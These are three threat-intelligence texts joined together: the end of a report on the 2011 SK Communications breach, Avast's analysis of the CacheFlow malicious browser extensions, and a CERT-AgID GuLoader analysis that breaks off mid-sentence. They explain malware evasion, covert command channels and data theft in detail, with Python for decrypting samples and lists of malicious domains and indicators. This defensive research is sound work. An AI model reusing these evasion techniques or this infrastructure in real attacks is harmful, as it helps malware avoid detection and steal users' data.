July 2011. The personal information extracted from the databases was purportedly sent via a waypoint to a Chinese IP address where the hacker received the information. The waypoint used purportedly belonged to a company based in Seoul’s Nonhyeon neighbourhood. ## THE TOOLBOX The files downloaded onto the infected SK Communications computers were reportedly hosted at ‘www.cph.com.tw/act’ – a website belonging to the large Taiwanese publishing company, Cite Media Holding Group. It is likely the company’s webserver was compromised unbeknownst to its owner and used by the attacker as a toolbox from which to download malicious files and hacker tools onto targeted computers. The website ‘cph.com.tw’ is assumed to have been running on an Internet Information Services (IIS) webserver at the time the server was hacked. IIS runs on the Microsoft Windows operating system, indicating the compromised server was likely running Microsoft Windows. There are a number of known vulnerabilities for both IIS and Microsoft Windows which potentially could have been exploited and resulted in the compromise of the webserver. ## THE MALICIOUS INFRASTRUCTURE Callback domains are translated to IP addresses using the Domain Name System (DNS) protocol. This translates the domain into a unique address on the Internet which infected computers can use to locate and communicate with a command and control server. Command and control servers are typically more resource intensive to set up and maintain than callback domains which may be used to direct communications to them. It is not uncommon for multiple domains to identify the same command and control infrastructure. In late July 2011, at the time of the attack, the callback domain ‘nateon.duamlive.com’ pointed to the South Korean IP address 121.78.237.135 but at the time of writing points to local loopback IP address 127.0.0.139. Attackers quite commonly point a callback domain to a local loopback IP address when they do not have any instructions for the infected computers using that domain. This prevents the computers from unnecessarily contacting the attacker’s command and control infrastructure. The domain ‘duamlive.com’ was registered on 21 May 2011. It was registered by a ‘Guangming Wang’. There is a large number of domain registrations (approximately 400) associated with ‘Guangming Wang’, possibly indicating that the domains were registered by an intermediary. The domain ‘alyac.org’ was registered on 24 September 2010. The domain registration information is almost identical to that of the legitimate ESTsoft domain ‘alyac.com’. The domain is not, however, associated with the ALYac antivirus software and does not appear to be associated with ESTsoft at all. The title of the website previously hosted at ‘alyac.org’ was associated with finance, insurance and cell phones and not antivirus software. At the time of writing, the malicious domain ‘alyac.org’ points to the Google IP address 8.8.8.8 but previously pointed to South Korean IP address 222.122.20.241. Other probable malicious domains following a similar pattern to ‘alyac.org’ have also pointed to the same South Korean IP address. These include the domains ‘trendmicros.net’, ‘nprotects.org’ and ‘bomuls.com’. ## SUMMARY OF REFERENCE DOMAINS | DOMAIN | SUBDOMAIN | IP ADDRESS(ES) | |-------------------|-----------|-------------------------------------| | DUAMLIVE.COM | - | 127.0.0.1* | | | NATEON. | 121.78.237.135 (KR) | | | FR. | 121.78.237.135 (KR) | | | - | 127.0.0.1* | | ALYAC.ORG | - | 222.122.20.241 (KR) | | | - | 8.8.8.8 (US)* | | | UPDATE. | 202.30.224.240 (KR) | | | - | 8.8.8.8 (US)* | | NPROTECTS.ORG | - | 222.122.20.241 (KR)* | | | FILE1. | 222.122.20.241 (KR)* | | | PC. | 220.90.209.157 (KR) | | | - | 222.122.20.241 (KR)* | | TRENDMICROS.NET | - | 222.122.20.241 (KR)* | | | DOWNLOAD. | 222.122.20.241 (KR)* | | | BBS. | 222.122.20.241 (KR)* | | BOMULS.COM | - | 66.249.89.104 (US) | | | - | 222.122.20.241 (KR) | | | - | 98.126.8.230 (US)* | * Indicates IP address assigned at time of writing.
# Backdoored Browser Extensions Hid Malicious Traffic in Analytics Requests February 3, 2021 by Jan Vojtěšek and Jan Rubín Chances are you are reading this blog post using your web browser. Chances also are your web browser has various extensions that provide additional functionality. We usually trust that the extensions installed from official browser stores are safe. But that is not always the case as we recently found. This blog post brings more technical details on CacheFlow: a threat that we first reported about in December 2020. We described a huge campaign composed of dozens of malicious Chrome and Edge browser extensions with more than three million installations in total. We alerted both Google and Microsoft about the presence of these malicious extensions on their respective extension stores and are happy to announce that both companies have since taken all of them down as of December 18, 2020. CacheFlow was notable in particular for the way that the malicious extensions would try to hide their command and control traffic in a covert channel using the `Cache-Control` HTTP header of their analytics requests. We believe this is a new technique. In addition, it appears to us that the Google Analytics-style traffic was added not just to hide the malicious commands, but that the extension authors were also interested in the analytics requests themselves. We believe they tried to solve two problems, command and control and getting analytics information, with one solution. We found that CacheFlow would carry out its attack in the following sequence: Based on our telemetry, the top three countries where Avast users downloaded and installed the CacheFlow extensions were Brazil, Ukraine, and France. We initially learned about this campaign by reading a Czech blog post by Edvard Rejthar from CZ.NIC. He discovered that the Chrome extension “Video Downloader for FaceBook™” (ID `pfnmibjifkhhblmdmaocfohebdpfppkf`) was stealthily loading an obfuscated piece of JavaScript that had nothing to do with the extension’s advertised functionality. Continuing from his findings, we managed to find many other extensions that were doing the same thing. These other extensions offered various legitimate functionality, with many of them being video downloaders for popular social media platforms. After reverse engineering the obfuscated JavaScript, we found that the main malicious payload delivered by these extensions was responsible for malicious browser redirects. Not only that, but the cybercriminals were also collecting quite a lot of data about the users of the malicious extensions, such as all of their search engine queries or information about everything they clicked on. The extensions exhibited quite a high level of sneakiness by employing many tricks to lower the chances of detection. First of all, they avoided infecting users who were likely to be web developers. They determined this either through the extensions the user had installed or by checking if the user accessed locally-hosted websites. Furthermore, the extensions delayed their malicious activity for at least three days after installation to avoid raising red flags early on. When the malware detected that the browser developer tools were opened, it would immediately deactivate its malicious functionality. CacheFlow also checked every Google search query and if the user was googling for one of the malware’s command and control (C&C) domains, it reported this to its C&C server and could deactivate itself as well. According to user reviews on the Chrome Web Store, it seems that CacheFlow was active since at least October 2017. All of the stealthiness described above could explain why it stayed undetected for so long. ## The covert channel First, we’ll show the hidden backdoor that the extensions used to download and execute arbitrary JavaScript. Specifically, we’ll describe the backdoor from the Chrome extension “Downloader for Instagram” v5.7.3 (ID `olkpikmlhoaojbbmmpejnimiglejmboe`), but this analysis applies to the other extensions as well, since the malicious code hidden in them is very similar in functionality. It is generally a good idea to start the analysis of unknown Chrome extensions from the `manifest.json` file. The manifest of “Downloader for Instagram” gives us some interesting pieces of information. First of all, the `content_security_policy` is defined in such a way that it is possible to use the infamous `eval` function to load additional JavaScript. However, looking for the string `eval` in the extension’s source code did not yield any interesting results. As we’ll show later, the extension does use the `eval` function quite a lot, but it hides its usage. Secondly, the extension asks for quite a lot of permissions and it is not immediately clear why these permissions would be needed to download videos from Instagram. Especially interesting is the `management` permission, which allows the extension to control other extensions. The combination of the `webRequest` and `<all_urls>` permissions is also interesting. Together, these two permissions make it possible for the extension to intercept pretty much any web request coming from the browser. Finally, the manifest defines two background scripts: `js/jquery.js` and `js/background.js`. These scripts are persistent, which means that they will keep running unless the extension gets disabled. One of these background scripts, `background.js`, is where the suspicious `webRequest` API is used. This script accesses the HTTP response headers of all intercepted web requests and stores their values in localStorage. The content of localStorage is then read by the other persistent malicious background script: `jquery.js`. While this script appears at first glance to be the legitimate jQuery library, some additional functions were inserted into it. One of those additional functions is misleadingly named `parseRelative`, while all it does is return the `window.localStorage` object. Another inserted and misleadingly named function is `initAjax`. The `initAjax` function decodes the content of `localStorage['cache-control']` and stores decoded values in the `window` object. This function is particularly interested in the content of `localStorage['cache-control']`, which should at this point be set to the value of the last received `Cache-Control` HTTP response header. The function splits the content of this header with a comma and attempts to decrypt each part using a custom function named `strrevsstr`, before finally parsing it out as a JSON string. The obvious question now is why would the extension expect to intercept requests that contain an encrypted JSON string in the `Cache-Control` response header? The answer is that the threat actors are using the content of the `Cache-Control` header as a covert channel to send hidden commands to the malicious extension. As a part of the malicious extension’s regular functionality, analytics requests about some events are sent to `https://stats.script-protection[.]com/__utm.gif`. These are standard analytics requests that bear resemblance to Google Analytics. The catch is, that the server used by this extension might respond to the analytics requests with a specially formed `Cache-Control` header, which the client will decrypt, parse out and execute. To see what the commands could look like, we simulated the extension and sent a fake analytics HTTP request to `https://stats.script-protection[.]com/__utm.gif`. After a couple of attempts, we received a specially crafted `Cache-Control` header. Note that the response will contain the encoded command only when some conditions are met. First of all, the GET parameter `it` has to be set at least three days into the past. Since this parameter contains the time when the extension was installed, this effectively ensures that the extension will not exhibit any malicious behavior during the first three days. There is also a check based on the IP address, since we repeatedly did not receive any commands from one source IP address, even though we did receive a command for the same GET request from another IP address. As the logic behind these checks is safely hidden on the C&C server, there might be additional checks that we are not aware of. When the content of the received `Cache-Control` header is decoded using the custom `strrevsstr` function as outlined above, we get the command in the following JSON. As was seen in the `initAjax` function, all of the attributes from this JSON get stored in the global `window` object. Upon receiving such a command, the extension downloads the second stage from `command['uu']` in a function named `siblingAfter`, which is also hidden inside `jquery.js`. The dollar sign from `command['jj']` here represents the `jQuery` object, so the function uses the `jQuery.get` function to download the next stage from `command['uu']` and to store it in `localStorage.dataDefault`. Finally, there is yet another function hidden in `jquery.js`, which executes the downloaded JavaScript using the `eval` function from `command['ee']`. The downloaded JavaScript is an obfuscated intermediary downloader. Its purpose is to download the third-stage payload from `ulkon.johnoil[.]com` using an XHR request. Unfortunately, because the server will only send the next stage under certain conditions, getting a response containing the third stage can be quite tricky. If it gets successfully downloaded, it is encrypted and stored persistently in localStorage. It then gets executed whenever a tab is updated using the `chrome.tabs.onUpdated` listener. ## The payload The payload starts out by testing if it can make use of `eval` and `localStorage`. If either of those two is not working properly, CacheFlow would not be able to perform most of its malicious functionality. Additionally, the payload periodically checks if developer tools are opened. If they are, it deactivates itself in an attempt to avoid detection. The check for developer tools is also performed whenever the current window gets resized, which might be because the user just opened developer tools. As was already mentioned, the malware authors have gone to extreme lengths to make sure that the hidden malicious payloads do not get discovered. We believe they were not satisfied with the previous check and decided to further profile the victim in order to avoid infecting users who seemed more tech-savvy. One of the ways they did this was by enumerating the other extensions installed by the victim and checking them against a hardcoded list of extension IDs. Each extension on the list was assigned a score and if the sum of scores of installed extensions exceeded a certain threshold, the list of extensions would be sent to the C&C server, which could then command the malicious payload to deactivate. Examples of the extensions on the list were “Chrome extension source viewer”, “Link Redirect Trace”, or “JWT Debugger”. We believe this “weighting” system helped to better differentiate actual developer systems which would have several of these extensions and a higher score from casual users who would have fewer extensions and thus a lower score. Another way to profile the potential victim was to check the URLs they were browsing. Whenever the victim navigated to a URL identified by an IP address from one of the private IPv4 ranges or to a URL with a TLD `.dev`, `.local`, or `.localhost`, the malware would send the visited URL to its C&C server. The malware also checked all Google (and only Google) queries against a regular expression that matched its C&C domains and internal identifiers. This way, it would know that somebody was taking a deeper look into the extension and could take actions to hide itself. Interestingly, the domains were not fully specified in the regular expressions, with some characters being represented as the dot special character. We assume that this was an attempt to make it harder to create a domain blocklist based on the regular expression. At this point, the malware also attempted to gather information about the victim. This information included birth dates, email addresses, geolocation, and device activity. For instance, the birth dates were retrieved from the personal information entered into the victim’s Google account. Once again, the attackers focused only on Google: we did not see any similar attempts to get Microsoft account information. To retrieve the birthday, CacheFlow made an XHR request to `https://myaccount.google.com/birthday` and parsed out the birth date from the response. Note that while it may seem that making such a cross-origin request would not be allowed by the browser, this is all perfectly possible under the extension security model since the extension has the `<all_urls>` permission. This permission gives the extension access to all hosts, so it can make arbitrary cross-site requests. In order to make it harder for Google to realize that CacheFlow was abusing its services to gather personal information, it also registered a special `chrome.webRequest.onBeforeSendHeaders` listener. This listener removes the `referer` request header from all the relevant XHR requests, so Google would not easily know who is actually making the request. Finally, to perform its main malicious functionality, the payload injects another piece of JavaScript into each tab using the `chrome.tabs.executeScript` function. ## The injected script The injected script implements two pieces of functionality. The first one is about hijacking clicks. When the victim clicks on a link, the extension sends information about the click to `orgun.johnoil[.]com` and might receive back a command to redirect the victim to a different URL. The second functionality concerns search engine results. When the victim is on a search engine page, the extension gathers the search query and results. This information is then sent to the C&C server, which might respond with a command to redirect some of the search results. The link hijacking is implemented by registering an `onclick` listener over the whole `document`. The listener is then only interested in main button presses (usually “left clicks”) and clicks on elements with the tag name `a` or `area`. If the click meets all the criteria, an XHR request to `https://orgun.johnoil[.]com/link/` is sent. This request contains one GET parameter, `a`, which holds concatenated information about the click and is encrypted using the custom `strsstr` function. This information includes the current location, the target URL, various identifiers, and more. Upon receiving such a response, the malware first makes sure that it starts with a certain randomly generated string and ends with the same string, but in reverse. This string (e.g., `ayiudvh3jk6l`) was generated by the extension and was also included in the `a` parameter that was sent in the XHR request. The extension then takes the middle portion of the response and decrypts it using the `strrevsstr` function (which is the inversion of `strsstr`). This yields the following string: Once again, the malware checks the beginning and the end of the decrypted string for the same randomly generated string as used before and extracts the middle portion of it. If it begins with the substring `http`, the malware proceeds to perform the link hijack. It does this by temporarily changing the `href` attribute of the element that the user clicked on and executing the `click` method on it to simulate a mouse click. As a fallback mechanism, the malware just simply sets `window.location['href']` to the link hijack URL. The second functionality is performed only if the victim is currently on a Google, Bing, or Yahoo search page. If they are, the malware first gathers the search query string and the results. The way this is performed varies based on the search engine. For Google, the search query string is found as the value of the first element named `q`. If that somehow fails, the malware alternatively tries to get the search query from the `q` GET parameter. The search results on Google are obtained by searching for elements with the class name `rc` and then iterating over their child `a` elements. Once gathered, the search query and results are sent in an XHR request to `servscrpt[.]de`. A salted MD5 checksum of the results is included in the request as well, we believe in an attempt to discover fake requests (but this check can obviously be trivially bypassed by recomputing the MD5 checksum). The XHR response contains a list of domains whose links the malware should hijack. The hijack itself is performed by registering an `onmousedown` listener on the `a` element. Once fired, the listener calls the `preventDefault` function on the event and then `window.open` to redirect the user to the malicious URL. Interestingly, CacheFlow also modifies some of the hijacked search results by adding a clickable logo to them. We believe this is done in order to make those results stand out and thus increase the chances of the victim clicking on them. However, the position of the logo is not aligned well, which makes the search result look odd and suspicious, since Google, Microsoft, or Yahoo would probably put a bit more effort into formatting it. ## Conclusion In this blog post, we provided technical details about CacheFlow: a huge network of malicious browser extensions that infected millions of users worldwide. We described how the malicious extensions were hijacking their victims’ clicks and modifying their search engine results. Since CacheFlow was well capable of hiding itself, we covered in detail the techniques it was using to hide the fact that it was executing malicious code in the background. We believe that understanding how these techniques work will help other malware researchers in discovering and analyzing similar threats in the future. ## Indicators of Compromise **Name** | **Hash** --- | --- manifest.json | 2bc86c14609928183bf3d94e1b6f082a07e6ce0e80b1dffc48d3356b6942c051 background.js | bdd2ec1f2e5cc0ba3980f7f96cba5bf795a6e012120db9cab0d8981af3fa7f20 jquery.js | 3dad00763b7f97c27d481242bafa510a89fed19ba60c9487a65fa4e86dcf970d Intermediary downloader | 4e236104f6e155cfe65179e7646bdb825078a9fea39463498c5b8cd99d409e7a Payload | ebf6ca39894fc7d0e634bd6747131efbbd0d736e65e68dcc940e3294d3c93df4 Injected script | 0f99ec8031d482d3cefa979fbd61416558e03a5079f43c2d31aaf4ea20ce28a0 **Chrome Extension Name** | **Extension ID** --- | --- Direct Message for Instagram | mdpgppkombninhkfhaggckdmencplhmg DM for Instagram | fgaapohcdolaiaijobecfleiohcfhdfb Invisible mode for Instagram Direct Message | iibnodnghffmdcebaglfgnfkgemcbchf Downloader for Instagram | olkpikmlhoaojbbmmpejnimiglejmboe App Phone for Instagram | bhfoemlllidnfefgkeaeocnageepbael Stories for Instagram | nilbfjdbacfdodpbdondbbkmoigehodg Universal Video Downloader | eikbfklcjampfnmclhjeifbmfkpkfpbn Video Downloader for FaceBook™ | pfnmibjifkhhblmdmaocfohebdpfppkf Vimeo™ Video Downloader | cgpbghdbejagejmciefmekcklikpoeel Zoomer for Instagram and FaceBook | klejifgmmnkgejbhgmpgajemhlnijlib VK UnBlock. Works fast. | ceoldlgkhdbnnmojajjgfapagjccblib Odnoklassniki UnBlock. Works quickly. | mnafnfdagggclnaggnjajohakfbppaih Upload photo to Instagram™ | oknpgmaeedlbdichgaghebhiknmghffa Spotify Music Downloader | pcaaejaejpolbbchlmbdjfiggojefllp The New York Times News | lmcajpniijhhhpcnhleibgiehhicjlnk FORBES | lgjogljbnbfjcaigalbhiagkboajmkkj Скачать фото и видео из Instagram | akdbogfpgohikflhccclloneidjkogog **Edge Extension Name** | **Extension ID** --- | --- Direct Message for Instagram™ | lnocaphbapmclliacmbbggnfnjojbjgf Instagram Download Video & Image | bhcpgfhiobcpokfpdahijhnipenkplji App Phone for Instagram | dambkkeeabmnhelekdekfmabnckghdih Universal Video Downloader | dgjmdlifhbljhmgkjbojeejmeeplapej Video Downloader for FaceBook™ | emechknidkghbpiodihlodkhnljplpjm Vimeo™ Video Downloader | hajlccgbgjdcjaommiffaphjdndpjcio Volume Controller | dljdbmkffjijepjnkonndbdiakjfdcic Stories for Instagram | cjmpdadldchjmljhkigoeejegmghaabp Upload photo to Instagram™ | jlkfgpiicpnlbmmmpkpdjkkdolgomhmb Pretty Kitty, The Cat Pet | njdkgjbjmdceaibhngelkkloceihelle Video Downloader for YouTube | phoehhafolaebdpimmbmlofmeibdkckp SoundCloud Music Downloader | pccfaccnfkjmdlkollpiaialndbieibj Instagram App with Direct Message DM | fbhbpnjkpcdmcgcpfilooccjgemlkinn Downloader for Instagram | aemaecahdckfllfldhgimjhdgiaahean **URLs** abuse-extensions[.]com ampliacion[.]xyz a.xfreeservice[.]com b.xfreeservice[.]com c.xfreeservice[.]com browser-stat[.]com check-stat[.]com check4.scamprotection[.]net connecting-to-the[.]net cornewus[.]com downloader-ig[.]com exstats[.]com ext-feedback[.]com extstatistics[.]com figures-analysis[.]com huffily.mydiaconal[.]com jastats[.]com jokopinter[.]com limbo-urg[.]com mydiaconal[.]com notification-stat[.]com orgun.johnoil[.]com outstole.my-sins[.]com peta-line[.]com root.s-i-z[.]com s3.amazonaws[.]com/directcdn/j6dle93f17c30.js s3.amazonaws[.]com/wwwjs/ga9anf7c53390.js s3.amazonaws[.]com/wwwjs/hc8e0ccd7266c.js s3.amazonaws[.]com/protectscript/instagram-downloader.js safenewtab[.]com script-protection[.]com server-status[.]xyz serviceimg[.]de servscrpt[.]de stats.script-protection[.]com statslight[.]com ulkon.johnoil[.]com user-experience[.]space user-feedbacks[.]com user.ampliacion[.]xyz xf.gdprvalidate[.]de/partner/8otb939m/index.php Tagged as analysis, browser extension, CacheFlow, covert channel, evasion, malware
# Tecniche per semplificare l’analisi del malware GuLoader Gli analisti di CERT-AgID hanno osservato GuLoader in Italia per la prima volta verso la fine mese di marzo 2021. Nell’arco dello scorso anno sono state registrate solo 6 campagne che utilizzavano GuLoader sfruttando il tema “Pagamenti“, “Preventivo” e “Ordine” con lo scopo di veicolare il malware AgentTesla ed in un solo caso si è avuta evidenza del rilascio di Remcos. Le campagne GuLoader in Italia sono terminate a fine settembre 2021 per poi ripresentarsi nel 2022, mantenendo gli stessi temi, con 4 nuove campagne: una ad aprile, un’altra a metà giugno e le ultime due – ad un mese esatto di distanza – a metà luglio. GuLoader è un dropper che si caratterizza per l’efficacia delle sue misure anti-debug e anti-vm. Il CERT-AgID aveva già discusso la natura di tali misure, anche se al tempo il packer non era stato identificato come GuLoader. Ad oggi, tali tecniche sono state affinate e ve ne sono state aggiunte di nuove, al punto che analizzare GuLoader è diventato un compito abbastanza complesso. ## Due vecchie tecniche migliorano GuLoader disponeva di un controllo anti-debug che, anzichè cercare un comportamento anomalo delle API di Windows, verificava la presenza in memoria di artefatti usati dai debugger (o loro plugin) per nascondersi dai malware. GuLoader non controllava direttamente la presenza di valori specifici ma utilizza l’hashing DBJ2 su gli indirizzi di porzioni di memoria determinate empiricamente. Questa tecnica era totalmente efficace nel rilevare i debugger più usati: la chiamata alla funzione che effettuava questo controllo era facilmente identificabile per via del fatto che prendeva un gran numero di argomenti (gli hash degli artefatti) terminati dal valore 0xffffffff. In questo caso era sufficiente rimpiazzare la chiamata con dei NOP per superare l’ostacolo. Questa tecnica, oggi, esiste ancora ma qualcosa è stato cambiato. Gli argomenti passati alla funzione non si limitano agli hash ma contengono anche dei numeri. Probabilmente la tecnica di rilevamento è stata aggiornata per essere più resiliente ed adeguarsi alla continua evoluzione dei debugger. Ancora oggi il rilevamento del debugger è efficace e l’unica opzione per eludere questo controllo è quello di individuare la chiamata e di rimpiazzarla, oppure disinstallare i plugin nella speranza che il debugger non abbia artefatti propri rilevati da GuLoader. Disabilitare i plugin però comporterà la facile individuazione del debugger tramite le usuali tecniche anti-debug (es: tramite NtQueryInformationProcess) che GuLoader non disdegna. Per debuggare GuLoader è quindi necessario procedere passo passo fino all’individuazione di questa chiamata. Tuttavia, gli autori del dropper hanno individuato un metodo per rendere l’analisi passo passo molto tediosa. ## Tecniche di Anti-VM Sfortunatamente per noi, GuLoader ha un ottimo controllo anti-vm che continua ad ingannare anche le sandbox online. Quindi, eseguirlo in una VM insieme ad uno strumento in grado di monitorare il traffico di rete non è sufficiente per ottenere il drop URL ed il payload. La tecnica che veniva usata nel campione analizzato nel bollettino allegato era stata battezzata RDSTC trick e si basava su un assunto molto semplice: l’istruzione cpuid causa un VM-exit non condizionale ed il suo risultato deve essere alterato dall’hypervisor (poichè descrive le caratteristiche e le estensioni della CPU): questo comporta che in un ambiente virtualizzato la sua esecuzione sia più lenta che in uno fisico. Per effettuare questo genere di misurazioni è necessario un timer molto preciso ed a bassa latenza di accesso, il timestamp counter (detto anche TSC e letto tramite rdtsc) presente nelle CPU Intel e compatibili è l’ideale. La parte complessa è tarare bene le soglie di rilevamento. **Nota tecnica**: Nelle CPU moderne il TSC è un contatore slegato dalla frequenza e dallo stato energetico della CPU. Tuttavia, lo stato energetico (si vedano le tecnologie di gestione termica di Intel, da SpeedStep a HWP passando per Turbo Boost) della CPU influenza pesantemente il tempo cronometrato di esecuzione delle istruzioni, per cui misurare la durata delle istruzioni con il TSC non è molto affidabile ma probabilmente sufficiente agli scopi. Nel campione attuale questo controllo è stato stravolto. Un workaround per l’RDTSC trick era quello di emulare un TSC lento. La nuova strategia di temporizzazione utilizza il timer di Windows, accede direttamente ad user space tramite KUSER_SHARED_DATA e misura l’esecuzione di cpuid e rdtsc ripetutamente. Qualora il valore accumulato superi una certa soglia, GuLoader assume di trovarsi in presenza di una VM. Viene aggiunto anche un controllo esplicito che verifica se rdtsc ritorna valori falsi, ad esempio che siano troppo “lenti”. Questi controlli sono efficaci e portano GuLoader a mostrare una finestra di avviso e terminare o entrare volutamente in un ciclo infinito, prevenendo l’analisi automatica. In aggiunta a questi controlli di temporizzazione è sempre presente la verifica del bit 31 di CPUID.1.ecx, che indica la presenza di un hypervisor con supporto di paravirtualizzazione. Dato che le VM non tendono a nascondersi, questo controllo risulta efficace. Disabilitare la paravirtualizzazione ha i suoi costi rendendo l’esecuzione della VM più lenta ed onerosa. GuLoader cerca inoltre di determinare se è eseguito dentro una VM anche tramite metodi più convenzionali. In particolare utilizza EnumDeviceDrivers e EnumServicesStatusA per enumerare i driver ed i servizi tipicamente installati nelle VM paravirtualizzate (es: vmmouse.sys). Anche queste misure sono piuttosto efficaci nel rilevare le VM. ## Tecnica Anti-Analisi Nonostante la presenza di questi controlli, inizialmente era più semplice riconoscerli e saltarli. Oggi questo è diventato più complesso per via di una tecnica anti-analisi introdotta da qualche mese e piuttosto fastidiosa. L’exception handler che sposta l’instruction pointer dopo ogni istruzione int3. Il numero di byte di cui spostare eip in avanti è ottenuto come xor tra 0x9d ed il byte successivo ad int3. Subito dopo aver decifrato il suo secondo stadio, lo shellcode di GuLoader installa un exception handler tramite RtlAddVectoredExceptionHandler. Questo handler è invocato tramite delle istruzioni int3 sparse in tutto il codice. Come mostra il codice qui sopra, questo handler ha due funzioni: 1. Verifica che non siano presenti breakpoint software (dopo l’istruzione int3) o hardware. 2. Legge il valore del byte successivo all’istruzione int3, effettua uno xor con 0x9D e aggiunge questo valore all’instruction pointer, di fatto spostando l’esecuzione in avanti. I controlli anti-debug di cui il punto 1) possono essere disabilitati rimpiazzando i salti condizionali con dei nop. Ma il secondo punto rimane problematico: il debugger decodificando le istruzioni sequenzialmente si confonde e diventa impossibile avere una visione d’insieme del codice, rendendo complesso il riconoscimento delle funzioni. Infine, quando l’handler ritorna con il valore EXCEPTION_CONTINUE_EXECUTION l’esecuzione torna al codice interrotto tramite NtContinue, la quale non da modo al debugger di interrompere immediatamente il processo, di fatto facendo saltare l’analisi “da int3 in int3”. Per aggirare il problema di non controllo sull’esecuzione è necessario ricorrere a degli script per il proprio debugger. Ad esempio, per x64dbg è possibile usare le seguenti istruzioni (quando eip è su int3): ``` $ec = byte(eip + 1); xor $ec, 0x9d; eip = eip + $ec; ``` ## Estrarre il drop url automaticamente La nuova tecnica anti-analisi di GuLoader rende il debug molto tedioso e la presenza di numerosi controlli anti-vm ed anti-debug non permettono l’esecuzione non controllata del dropper. È possibile velocizzare l’analisi? Lo shellcode di GuLoader appena avviato salta ad una procedura che decodifica il secondo stadio. La struttura dello shellcode è la seguente: La funzione che decifra il secondo stadio si trova subito prima di esso. C’è una prima parte, in blu, che non viene decodificata: essa contiene il codice di decodifica stesso. Tale codice è chiamato tramite un’istruzione call situata subito prima dell’inizio del secondo stadio. Nel secondo stadio, dopo una piccola pausa implementata con un ciclo che esegue rdtsc, GuLoader determina l’inizio del secondo stadio cercando la DWORD 0xE9Ea9011. Possiamo ipotizzare che la chiave di decodifica vari da campione a campione: uno strumento automatico dovrebbe essere in grado di estrarla o calcolarla. Estrarla è complesso perchè è generata tramite istruzioni aritmetiche e richiederebbe l’esecuzione concolica (simbolica + concreta) dello shellcode. Analogo discorso per l’inizio del secondo stadio. Un’alternativa è quella di sfruttare le debolezze della cifratura con xor e chiave piccola. Il secondo stadio probabilmente conterrà delle sequenze di byte nulli: queste sequenze rilevano la chiave ma il tutto sta nel capire dove sono. Piuttosto che utilizzare offset fissi, un approccio ragionevole è quello di considerare lo shellcode come una sequenza di DWORD (interi senza segno a 32 bit) ed ordinarli dal più frequente a quello meno frequente. Ipotizziamo che tra i primi valori sia presente anche la rotazione della chiave. Parliamo di rotazione della chiave perchè lo xor può non iniziare ad indirizzi multipli di 4 bytes, ovvero: non è allineato a DWORD e in questa campione non lo fa. Possiamo verificare velocemente questa ipotesi con un po’ di codice Python. La chiave usata nel sample in analisi è 0xb49be733. ```python def count_dwords(data, skew=0): hist = {} for i in range(0 + skew, (len(data)-skew)//4 * 4, 4): dw = struct.unpack("<I", data[i:i+4])[0] if dw <= 0xffffff: continue if dw not in hist: hist[dw] = 1 else: hist[dw] += 1 return {x[0]: x[1] for i, x in enumerate(sorted(hist.items(), key=lambda x: -x[1])) if i < 10} ``` Il risultato di `count_dwords` mostra che la (rotazione) della chiave è il primo risultato: - 0x33e7b49b 53 - 0xff000000 39 - 0xbae7b49a 37 - 0xffe7b49a 35 - 0xfbfbfbfb 26 - 0x78787878 24 - 0xbae7b499 24 - 0x49494949 23 - 0xe5e5e5e5 23 - 0x74747474 23 Per ogni possibile chiave, possiamo fare lo xor con lo shellcode, includendo la parte blu, visto che non sappiamo dove finisce, e verificare la presenza del valore 0xE9EA9011, esattamente come fa GuLoader. Questo ci permette non solo di confermare che la chiave è giusta ma anche di determinare dove inizia il secondo stadio in modo da decifrare soltanto quello. ```python def count_dwords(data, skew=0): hist = {} for i in range(0 + skew, (len(data)-skew)//4 * 4, 4): dw = struct.unpack("<I", data[i:i+4])[0] if dw <= 0xffffff: continue if dw not in hist: hist[dw] = 1 else: hist[dw] += 1 return {x[0]: x[1] for i, x in enumerate(sorted(hist.items(), key=lambda x: -x[1])) if i < 10} def xor(b1, i1, b2, i2, l, dbg=False): res = [0] * l for i in range(i1, i1+l): if dbg and i > len(b1): print("Wrap around1") if dbg and i-i1 < 16: print(hex(i % len(b1)), hex(b1[i % len(b1)]), hex((i2 + i-i1) % len(b2)), hex(b2[(i2 + i-i1) % len(b2)]), hex(b1[i % len(b1)] ^ b2[(i2 + i-i1) % len(b2)])) res[i-i1] = b1[i % len(b1)] ^ b2[(i2 + i-i1) % len(b2)] return bytes(res) def find_stage2(data, key): sign = b"\x11\x90\xea\xe9" sign_off = 5 dec = b"" for i in range(0, len(data), 4): dec = (dec + xor(data, i, key, 0, 4))[-8:] if sign in dec: j = dec.index(sign) return i + j - 4 - sign_off def shift(data, val): return data[val:] + data[:val] def decrypt_stage2(data): for k, v in count_dwords(data).items(): print(f"🤞 Possible (rotated) decrypt key: {hex(k)}") key = struct.pack("<I", k) offset = find_stage2(data, key) if offset is None: print(f"😐 No stage found for this key, trying next one.") continue else: print(f"Stage 2 found at offset {hex(offset)}") key = shift(key, offset & 0x3) print(f"Adjusted key to: {hex(struct.unpack('<I', key)[0])}") dec_data = data[:offset] + xor(data, offset, key, 0, len(data)-offset) print(f" Stage 2 decrypted.") return dec_data ``` Nel campione analizzato il secondo stadio inizia a 0x20ea. Il risultato dello script Python conferma che la decifratura è corretta: ``` 🤞 Possible (rotated) decrypt key: 0x33e7b49b Stage 2 found at offset 0x20ea Adjusted key to: 0xb49b33e7 Stage 2 decrypted. ``` Come possiamo usare il codice del secondo stadio per velocizzare l’analisi? Il drop url è contenuto in una stringa codificata. Fortunatamente la prima azione di GuLoader, dopo aver determinato l’inizio del secondo stadio, è decodificare la stringa L”ntdll” per cui possiamo subito analizzare come avviene questo processo. Tenere traccia degli indirizzi è tedioso per via del codice superfluo: le stringhe sono salvate xorate con una chiave di 0x2b byte e precedute da una DWORD che indica la lunghezza, anch’essa è xorata con una costante. Gli offset dove trovare queste stringhe codificate sono probabilmente fissi e generati tramite istruzioni aritmetiche per cui ottenerli è complicato. Da sinistra a destra: La funzione che ottiene l’indirizzo della chiave tramite il proprio indirizzo di ritorno, la funzione intermedia che passa i parametri alla vera procedura di decifratura, il codice di decifratura. Tuttavia, se avessimo la chiave, potremmo provare un bruteforce alla ricerca di stringhe stampabili e, tra queste, quelle che iniziano per http o contengono ://. Con un po’ di pazienza si trova facilmente che GuLoader ottiene l’indirizzo della chiave per decifrare le stringhe in modo analogo a come ottiene l’indirizzo del secondo stadio: ovvero tramite una chiamata posizionata subito prima della chiave. Con un po’ di debug si scopre che la lunghezza di questa chiave è 0x2b byte. ## Come trovare la chiave nel secondo stadio decifrato? L’idea è di cercare tutte le chiamate con opcode 0xe8 e offset negativo (salto all’indietro) e considerare i byte successivi come la chiave. La speranza è che non ve ne siano molte. In realtà possiamo provare a cercare esattamente i byte 0xe8, 0xd9, 0xfe, 0xff se ipotizziamo che la distanza tra la chiave e la 